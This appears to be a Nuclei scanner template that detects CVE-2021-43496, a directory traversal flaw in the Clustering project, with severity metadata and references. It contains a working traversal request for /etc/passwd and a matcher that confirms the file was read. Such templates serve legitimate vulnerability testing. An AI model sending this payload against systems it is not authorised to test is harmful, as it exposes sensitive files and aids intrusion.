id: CVE-2021-43496 info: name: Clustering Local File Inclusion author: Evan Rubinstein severity: high description: Clustering master branch as of commit 53e663e259bcfc8cdecb56c0bb255bd70bfcaa70 is affected by a directory traversal vulnerability. This attack can cause the disclosure of critical secrets stored anywhere on the system and can significantly aid in getting remote code access. impact: | This vulnerability can result in unauthorized access to sensitive files and directories, as well as the execution of arbitrary code on the affected system. remediation: | Upgrade to the latest version to mitigate this vulnerability. reference: - https://github.com/varun-suresh/Clustering/issues/12 - https://nvd.nist.gov/vuln/detail/CVE-2021-43496 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2021-43496 cwe-id: CWE-22 epss-score: 0.03503 epss-percentile: 0.90603 cpe: cpe:2.3:a:clustering_project:clustering:2019-07-26:*:*:*:*:*:*:* metadata: max-request: 1 vendor: clustering_project product: clustering tags: cve2021,cve,lfi,clustering,clustering_project http: - method: GET path: - "{{BaseURL}}/img/../../../../../../etc/passwd" matchers: - type: regex part: body regex: - "root:.*:0:0:" # digest: 490a0046304402206d136b98c4cd3c738136cfc5631a9c12eba67f6993c299d5b7bdb28462f6b0a802206d474f24852a146855295a999e0002d0a30c3f6b0d0fa4ab4d004879ee1858f7:922c64590222798bb761d5b6d8e72950